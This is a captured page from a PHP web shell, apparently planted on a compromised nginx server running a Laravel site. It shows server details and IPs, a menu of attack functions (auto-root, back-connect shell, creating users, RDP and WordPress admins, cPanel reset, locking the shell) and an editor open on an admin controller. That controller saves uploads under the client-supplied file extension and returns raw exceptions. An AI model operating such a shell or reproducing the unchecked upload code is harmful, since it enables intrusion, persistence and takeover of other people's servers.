Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
new_tlmf /
app /
Http /
Controllers /
admin /
[ HOME SHELL ]
Name
Size
Permission
Action
AboutusController.php
4.59
KB
-rw-rw-r--
AdminController.php
233
B
-rw-rw-r--
AlbumController.php
7.63
KB
-rw-rw-r--
CarousellController.php
4.41
KB
-rw-rw-r--
CommitteeController.php
7.94
KB
-rw-rw-r--
CommitteeTypeController.php
4.3
KB
-rw-rw-r--
ContactPersonController.php
5.13
KB
-rw-rw-r--
MasterCommitteeController.php
3.55
KB
-rw-rw-r--
MemberController.php
6.21
KB
-rw-rw-r--
MemberTypeController.php
3.14
KB
-rw-rw-r--
NewsController.php
4.41
KB
-rw-rw-r--
NoticeController.php
4.47
KB
-rw-rw-r--
SetupController.php
3.82
KB
-rw-rw-r--
VideoController.php
4
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : SetupController.php
<?php namespace App\Http\Controllers\admin; use App\Http\Controllers\Controller; use App\Http\Requests\StoreSetupRequest; use App\Http\Requests\UpdateSetupRequest; use App\Models\Setup; use Illuminate\Support\Facades\DB; class SetupController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { try { $setups = Setup::where('status','active')->latest()->first(); return view('admin.setup.index',compact('setups')); } catch (\Exception $e) { return redirect()->back()->with('error',"Something went wrong"); } } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { try { $setup = Setup::where('status','in-active')->latest()->get(); return view('admin.setup.history',compact('setup')); } catch (\Exception $e) { return redirect()->back()->with('error',"Something went wrong"); } } /** * Store a newly created resource in storage. * * @param \App\Http\Requests\StoreSetupRequest $request * @return \Illuminate\Http\Response */ public function store(StoreSetupRequest $request) { // } /** * Display the specified resource. * * @param \App\Models\Setup $setup * @return \Illuminate\Http\Response */ public function show(Setup $setup) { // } /** * Show the form for editing the specified resource. * * @param \App\Models\Setup $setup * @return \Illuminate\Http\Response */ public function edit(Setup $setup) { // } /** * Update the specified resource in storage. * * @param \App\Http\Requests\UpdateSetupRequest $request * @param \App\Models\Setup $setup * @return \Illuminate\Http\Response */ public function update(UpdateSetupRequest $request, Setup $setup) { try { DB::beginTransaction(); // return $request; //update last setting to inactive $update_setup['status'] = 'in-active'; $setup->update($update_setup); // $input['id'] = $request->id; $input['name'] = $request->name; $input['slogan']=$request->slogan; $input['phone'] = $request->phone; $input['email'] = $request->email; $input['address'] = $request->address; $input['facebook'] = $request->facebook; $input['youtube'] = $request->youtube; $input['twitter']=$request->twitter; $input['tiktok'] = $request->tiktok; $input['status'] = 'active'; //['name','slogan','logo','address','phone' // ,'email','facebook','youtube','twitter','tiktok','status']; if ($image = $request->file('image')) { $destinationPath = 'uploads/'; $profileImage = date('YmdHis') . "." .$image->getClientOriginalExtension(); $image->move($destinationPath, $profileImage); $input['logo'] = "$profileImage"; }else { $input['logo'] = $setup->logo; } $create_setup = Setup::create($input); DB::commit(); return redirect()->back()->with('success','Updated Successfully'); } catch (\Exception $e) { DB::rollback(); return $e; return redirect()->back()->with('error','Something Went Wrong!'); } } /** * Remove the specified resource from storage. * * @param \App\Models\Setup $setup * @return \Illuminate\Http\Response */ public function destroy(Setup $setup) { // } }
Close